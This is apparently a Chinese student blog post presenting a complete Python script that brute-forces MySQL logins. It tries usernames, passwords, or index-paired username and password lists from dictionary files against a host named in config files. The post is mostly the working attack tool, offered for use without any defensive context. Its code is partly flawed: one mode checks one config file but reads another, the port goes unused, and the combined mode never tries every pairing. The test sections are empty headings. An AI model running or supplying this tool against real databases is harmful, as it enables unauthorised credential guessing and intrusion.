python 构造mysql爆破器

前言：

今天已经期末考完，睡了个觉起床写了个

mysql爆破器.

思路：

1.爆破用户->用户存在的话不会报错反之报错

2.爆破密码->密码正确不会报错反之报错

3.用户名和密码一起爆破->用户名和密码正确不会报错反之报错

用到的模块：

optparser

pymysql

configparser

os

代码：

 

import pymysql
import optparse
import os
import configparser

def main():
    parser=optparse.OptionParser()
    parser.add_option('-u',dest='username',help='MySQL username of blasting')
    parser.add_option('-p',dest='password',help='MySQL password of blasting')
    parser.add_option('-a',action='store_true',dest='all',help='MySQL all of blasting')
    parser.add_option('-U',dest='zhidinusername',help='Configuration parameters for all: specify user dictionary')
    parser.add_option('-P',dest='zhidinpassword',help='Configuration parameters for all: specify password dictionary')
    (options,args)=parser.parse_args()
    if options.username:
        file=options.username
        usernamepo(file)
    elif options.password:
        file2=options.password
        passwordpo(file2)
    elif options.all and options.zhidinusername and options.zhidinpassword:
        un=options.zhidinusername
        pd=options.zhidinpassword
        allpo(un,pd)
    else:
        parser.print_help()
        exit()

def usernamepo(file):
    cx=open('{}'.format(file),'r')
    if os.path.exists('config.ini'):
        print('[+]Config.ini ok')
    else:
        print('[-]Config.ini Not Found')
        exit()

    print('[*]Read the configuration file information')
    cf=configparser.ConfigParser()
    cf.read('config.ini')
    host=cf.get('config','host')
    port=cf.get('config','port')
    password=cf.get('config','password')
    print('[/]-------Config.ini-------')
    print('[+]Host:{}'.format(host))
    print('[+]Port:{}'.format(port))
    print('[+]password{}'.format(password))

    print('[/]------User.txt----------')
    if os.path.exists(file):
        print('[+]User.txt ok')
    else:
        print('[-]User.txt Not Found')

    print('[/]------Mysql blasting------')
    for k in cx.readlines():
        try:
            db=pymysql.connect(host,k.strip(),password)
            print('[+]Mysql Username in {}'.format(k.strip()))
        except Exception as g:
            print('[-]Not Username:{},and Error{}'.format(k.strip(),g))


def passwordpo(file2):
    cx = open('{}'.format(file2), 'r')
    if os.path.exists('config.ini'):
        print('[+]Config.ini ok')
    else:
        print('[-]Config.ini Not Found')
        exit()

    print('[*]Read the configuration file information')
    cf = configparser.ConfigParser()
    cf.read('config2.ini')
    host = cf.get('config', 'host')
    port = cf.get('config', 'port')
    username = cf.get('config', 'username')
    print('[/]-------Config.ini-------')
    print('[+]Host:{}'.format(host))
    print('[+]Port:{}'.format(port))
    print('[+]username{}'.format(username))

    print('[/]------passwd.txt----------')
    if os.path.exists(file2):
        print('[+]Passwd.txt ok')
    else:
        print('[-]Passwd.txt Not Found')

    print('[/]------Mysql blasting------')
    for k in cx.readlines():
        try:
            db = pymysql.connect(host, username, k.strip())
            print('[+]Mysql Password in {}'.format(k.strip()))
        except Exception as g:
            print('[-]Not Password:{},and Error{}'.format(k.strip(), g))


def  allpo(un,pd):
    user=open('{}'.format(un),'r')
    passs=open('{}'.format(pd),'r')
    usern=[]
    passn=[]
    if os.path.exists(un):
        print('[+]Username.txt is ok')
    else:
        print('[-]Not Found username.txt')

    if os.path.exists(pd):
        print('[+]Password.txt is ok')
    else:
        print('[-]Not Found password.txt')

    if os.path.exists('config3.ini'):
        print('[+]Config3.ini ok')
    else:
        print('[-]Config3.ini Not Found')
        exit()

    cf=configparser.ConfigParser()
    print('[/---------cofnig3.ini-------]')
    cf.read('config3.ini')
    host=cf.get('config','host')
    print('[+]host:{}'.format(host))

    print('[/]------Mysql blasting------')
    for u in user.readlines():
        usern.append(u.strip())
    for y in passs.readlines():
        passn.append(y.strip())
    for g in range(0,len(usern)):
        try:
            dk=pymysql.connect(host,usern[g],passn[g])
            print('[+]Username:{} and password:{}'.format(usern[g],passn[g]))
        except Exception as p:
            print('[-]Not username:{} and password:{} and Error:{}'.format(usern[g],passn[g],p))


if __name__ == '__main__':
    main()

 

-u测试：

-p测试：

 

 -a测试:

实际连接：